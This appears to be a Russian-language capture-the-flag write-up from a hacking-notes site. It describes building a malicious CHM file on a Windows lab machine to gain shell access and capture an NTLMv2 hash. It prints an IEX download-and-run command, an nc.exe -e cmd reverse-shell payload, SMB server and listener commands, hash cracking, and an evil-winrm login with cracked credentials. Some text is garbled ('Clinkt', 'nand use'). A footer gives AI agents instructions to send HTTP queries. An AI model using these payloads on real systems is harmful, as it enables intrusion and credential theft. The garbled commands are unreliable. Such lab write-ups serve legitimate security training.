> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# Загрузка файла и захват NTLMv2 .chm

**Исследование каталога "docs":**/ На **Windows** корне мы нашли **docs** папку, содержащую файл `note.txt` со следующим сообщением:

<figure><img src="/files/002055b9f7d940e3db7da452fe22787deeb6b529" alt=""><figcaption></figcaption></figure>

> Привет, Крис,
>
> Ваши навыки PHP действительно ужасны. Свяжитесь с Yamitenshi, чтобы они научили вас, как этим пользоваться, затем исправьте сайт, потому что там много багов. Я также надеюсь, что вы подготовили документацию для нашего нового приложения. Поместите её сюда, когда закончите.
>
> С уважением,/ Sniper CEO. **Поиск документации в системе:**/ Мы искали документацию, упомянутую CEO, и нашли её в каталоге **Загрузки** под файлом **instructions.chm**.

<figure><img src="/files/cfe0e64f77d2914e61eca608369ddb1255730a3b" alt="" width="563"><figcaption></figcaption></figure>

### **Создание вредоносного CHM-файла:**

После того как мы обнаружили, что CEO хотел просмотреть файлы **CHM** в каталоге **docs**, мы поискали в интернете, как создавать вредоносные CHM-файлы.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**Загрузка HTML Help Tool:**/ Мы загрузили **HTML Help** и использовали скрипт PowerShell для создания вредоносного CHM-файла

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

Затем мы изменили скрипт, чтобы выполнить вредоносную команду удалённо через **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/146d5356660b2c61e57c96a50ede19e41264903e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7111e53e25fddd14c2677792fcea59984c30b641" alt="" width="563"><figcaption></figcaption></figure>

**Инъекция вредоносного CHM-файла в целевой каталог:**/ Мы настроили SMB-сервер на нашей машине атакующего для передачи вредоносного файла на целевую машину Windows:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**Подключение к SMB-общему ресурсу с машины жертвы:**/ С целевой машины Windows мы смонтировали SMB-общий ресурс и скопировали вредоносный файл `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**Запустить слушатель обратной оболочки:**/ Мы запустили слушатель на нашей машине атакующего, ожидая входящую reverse shell:

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/7d9d485bf0868f7812d42060a606edba7572f704" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/02dcad1acf7efc473d6ab75900ae3ac8b199a61d" alt="" width="563"><figcaption></figcaption></figure>

**Возникшая проблема:**/ Хотя файл CHM был открыт, мы не получили reverse shell. Однако нам удалось перехватить **SMB Relay V2** на нашем сервере. Это предоставило хэш аутентификации для пользователя `Administrator`

<figure><img src="/files/7cfc8df3fcd3aa2955c48718605318cacffe7fa6" alt=""><figcaption></figcaption></figure>

#### **Взлом хэша администратора:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/8d2318600179857388f96fc6d718182e0e73bc62" alt=""><figcaption></figcaption></figure>

#### **Подключение под администратором:**

С полученными учётными данными мы использовали **Evil-WinRM** для подключения к машине от имени администратора:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/ae3a2c7830c08e1c4e576d90d678ccfdfa574687" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
